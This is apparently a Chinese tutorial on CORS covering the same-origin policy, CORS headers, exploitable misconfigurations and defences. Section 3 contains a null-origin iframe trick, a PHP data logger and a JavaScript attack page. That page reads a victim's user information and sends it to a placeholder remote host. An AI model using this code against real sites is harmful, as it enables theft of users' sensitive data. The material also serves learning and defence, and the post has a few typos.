跨域资源共享 (cors) 可以放宽浏览器的同源策略,让不同的网站和不同的服务器之间通信
1. 同源策略#
同源策略是一个非常重要的安全策略,它用于限制一个 origin 的文档或它加载的脚本如何能与另一个源的资源进行交互。简单来说就是:同源策略允许运行在页面的脚本如 JavaScript 可以无限制地访问同一个网站(同源)中其他脚本的任何方法和属性。这里提到的一个点:同源
什么是同源?
- 同协议(如:都是 www)
- 同域名(域名和它的子域名不是同源)
- 同端口(如:都是 80 端口)
其实就是 URL 地址的前几个部分
同源策略就简单介绍到这里,想要详细了解的话可以点击这里
2. 什么是 CORS#
在这个 web2.0 的时代,同源策略的限制太多了,因此有了放宽同源策略限制的技术,那就是跨域资源共享(CORS)。
这种机制通过在 HTTP 头部添加字段,允许浏览器向跨域服务器发出 XMLHttpRequest 请求,从而克服 AJAX 只能同源使用的限制
在用浏览器发送时,会自动在请求头中添加 Origin 字段,服务端验证 Origin 字段是否被允许,如果允许,那就可以进行跨域访问了 {
CORS 的标准定义是:通过设置 HTTP 头部字段,让客户端能够跨域访问资源。
CORS 定义了两种跨域请求:
- 简单请求:使用设定的请求方式请求资源
- 非简单请求:先发送一个 OPTION 预检请求,验证请求源是否为服务端所允许的源,预检通过后,发送请求,请求资源
主要的头部字段:
-
Origin:表明预检请求或实际请求的源站
-
Access-Control-Request-Method:用于预检请求,其作用是将实际请求所使用的 HTTP 方法告诉服务端
-
Access-Control-Request-Headers:用于预检请求,其作用是将实际请求所携带的头部字段告诉服务端
-
Access-Control-Allow-Origin:该字段的值可以是请求时 Origin 字段的值,也可以是一个 *( * 表示接受任意域名)
-
Access-Control-Allow-Credentials :该字段是一个布尔值,为 true 的时候表示 cookie 可以包含在请求中一起发送给服务器
3. CORS 的攻击与利用#
漏洞利用的最终目的是:受害者只要访问一个攻击页面,攻击者就可以获取到敏感信息
3.1 有用户凭证的利用#
Access-Control-Allow-Origin 值 | Access-Control-Allow-Credentials 值 | 是否可利用 |
---|---|---|
https://attacker.com | true | 是 |
null | true | 是 |
* | true | 否 |
3.2 没有用户凭证的利用#
这种情况下是没有 cookie 传输的,所以攻击者很难拿到 cookie。
Access-Control-Allow-Origin 值 | 是否可利用 |
---|---|
https://attacker.com | 是 |
null | 是 |
* | 是 |
上表中的 null 源是为了网页跳转或来自本地 HTML 文件。
3.2.1 利用 null 源#
使用沙盒 iframe 来获取 null 源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的 iframe 产生一个类似于下面的请求:
GET /handler
Host: target.local
Origin: null
服务器接收到 null 源返回类似于下面的报文:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 利用 XMLHttpRequest 发包#
- 在远程服务器上准备记录代码(用于获取敏感信息)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- 构建攻击页面
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- 当受害者访问攻击页面,服务器上就会记录敏感信息
4. 几个利用工具#
- Brupsuite 自带 cors 检验,但误报率较高
- X-ray 检测
- CORScanner
5. CORS 的防御#
- 严格校验来自请求数据包中的 Origin 的值
- 不要配置 Access-Control-Allow-Origin 字段的值为 *
- 避免使用 Access-Control-Allow-Credentials: true
- 避免使用 OCRS
- 定义白名单
- 使用安全协议
- 限制缓存时间
- 仅配置所需的头部